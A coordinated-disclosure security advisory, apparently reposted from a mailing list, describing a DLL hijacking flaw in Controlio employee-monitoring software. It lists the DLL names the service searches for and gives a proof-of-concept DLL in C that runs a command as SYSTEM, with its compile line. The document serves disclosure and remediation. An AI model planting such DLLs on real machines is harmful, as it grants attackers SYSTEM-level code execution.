SEC Consult SA-20260423-0 :: DLL Hijacking in EfficientLab Controlio (cloud-based employee monitoring service)

2026-4-29 17:43:40 Author: seclists.org(查看原文) 阅读量:23 收藏

SEC Consult Vulnerability Lab Security Advisory < 20260423-0 >
=======================================================================
             title: DLL Hijacking
           product: EfficientLab Controlio (cloud-based employee monitoring service)
vulnerable version: <1.3.95
     fixed version: 1.3.95
        CVE number: CVE-2025-10549
            impact: High
          homepage:https://controlio.net
             found: 2025-05-20
                by: Tobias Niemann (Office Bochum)
                    Daniel Hirschberger
                    Thorger Jansen (Office Bochum)
                    Marius Renner (Office Berlin)
                    SEC Consult Vulnerability Lab

                    An integrated part of SEC Consult, an Atos business
                    Europe | Asia

                    https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Controlio is a web-based cloud system for employee surveillance on their work PCs that
run Windows or MAC. You can easily monitor web and application usage, and watch what’s
happening on your staff screens live or on-demand. Check what they type, search on the
Web, what files they copy and much more.
The client app runs in stealth mode on a work computer, so your employees won’t see
additional icons or processes. The system is free to try on three computers."

Source:https://controlio.net/what_is_controlio.html

Business recommendation:
------------------------
The vendor provides a patch v1.3.95 which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve potential
further security issues.

Vulnerability overview/description:
-----------------------------------
1) DLL Hijacking Vulnerability (CVE-2025-10549)
A local attacker can exploit weak folder permissions in the Controlio
installation directory to perform DLL hijacking attacks. As the service
is running as NT Authority\SYSTEM this allows a local attacker to execute
arbitrary code and commands as highly privileged user and bypass or disable
the monitoring solution.

Proof of concept:
-----------------
1) DLL Hijacking Vulnerability (CVE-2025-10549)
Controlio attempts to load multiple non-existing DLLs from the installation
directory at C:\ProgramData\{UUID}

<procmon.png>

The full list of DLLs that are searched for in the install directory
is listed below:
--------------------------------------------------------------------------------
version.dll
wtsapi32.dll
netapi32.dll
winhttp.dll
shfolder.dll
wsock32.dll
NETUTILS.dll
PowrProf.dll
dbghelp.dll
dbgcore.dll
WER.dll
iphlpapi.dll
Secur32.dll
SSPICLI.dll
WINSTA.dll
olepro32.dll
security.dll
FwpucInt.dll
IdnDL.dll
Wldp.dll
profapi.dll
--------------------------------------------------------------------------------

While a local attacker cannot overwrite the service binaries themselves, the
default permissions allow an attacker to create new files in the installation
directory:

<service_permissions.png>
<install_dir_permissions.png>

An attacker can use this to drop DLLs that execute arbitrary code when they
are loaded when the Controlio service is started. For this proof of concept
the following WER.dll is dropped:

--------------------------------------------------------------------------------
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    if (dwReason == DLL_PROCESS_ATTACH){
        system("whoami > C:\\dll_hijack.txt");
        ExitProcess(0);
    }
    return TRUE;
}

x86_64-w64-mingw32-gcc windows_dll.c -shared -o WER.dll
--------------------------------------------------------------------------------

When the service is restarted, the DLL is loaded and the command is executed as
NT Authority\SYSTEM:

<executed.png>

Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* Controlio v1.3.0.60

The vendor provides a patched version v1.3.95, it is assumed that all previous
versions are affected.

Vendor contact timeline:
------------------------
2025-07-09: Initial mail to the vendor (info () controlio net); no response
2025-08-22: Sent reminder mail; no response.
2025-09-16: Submitting support ticket viahttps://kb.controlio.net/hc/en-us/requests/new
            Vendor assigns ticket #14957, support agent forwards request to relevant
            department.
            EfficientLab answers that there is a bug bounty page to submit security
            advisories athttps://controlio.net/bug-bounty.html
2025-09-17: Submitting advisory.
2025-10-15: Vendor responds that although out of scope (client agent), they grant
            a 250 USD bug bounty and have accepted it as medium priority.
2025-10-16: Asking the vendor to donate the money to EFF to foster secure software
            development, as well as asking for timeline regarding the fix.
2025-10-16: Vendor will publish an update within the next 4 weeks, donation request
            has been forwarded to relevant team for processing.
2025-10-17: Confirming the postponement of the advisory release.
2025-11-03: Asking for a status update, sending vendor reserved CVE number.
2025-11-04: Vendor responds that the fix is in the roadmap, but there is no clear
            timeline yet, they are hoping to fix it before end of the year.
            Bounty was donated to EFF with transaction ID 9MX93585JU286433M.
2025-11-05: Asking whether they need support or further information regarding the issue
            and what changed regarding the timeline because the vendor provided a
            timeline of 4 weeks mid October.
2025-11-05: Vendor responds that due to internal overload, timeline has shifted.
            No support needed.
2026-02-09: Contacting vendor again, asking for patch status and setting advisory
            release date to 25th February.
2026-02-23: Vendor responds that fix is implemented in the client, but the final build
            is on hold due to driver issues.
2026-02-25: Asking about the new release timeline.
2026-02-26: Fixed version should be released within two weeks.
2026-03-26: Asking for a status update, no response.
2026-04-14: Asking for a status update again. Vendor support contact has requested
            another updated from their developers.
2026-04-21: Vendor informs us that v1.3.95 has been released on 15th April.
2026-04-23: Coordinated release of advisory.

Solution:
---------
The vendor provides a patch v1.3.95 which should be installed immediately.

For further details see their changelog knowledgebase:
https://kb.controlio.net/hc/en-us/articles/45777908471185-Client-Update-April-15-2026-ver-1-3-95

Workaround:
-----------
None

Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult

EOF Tobias Niemann, Daniel Hirschberger, Thorger Jansen, Marius Renner / @2026

Full Disclosure mailing list archives

Current thread: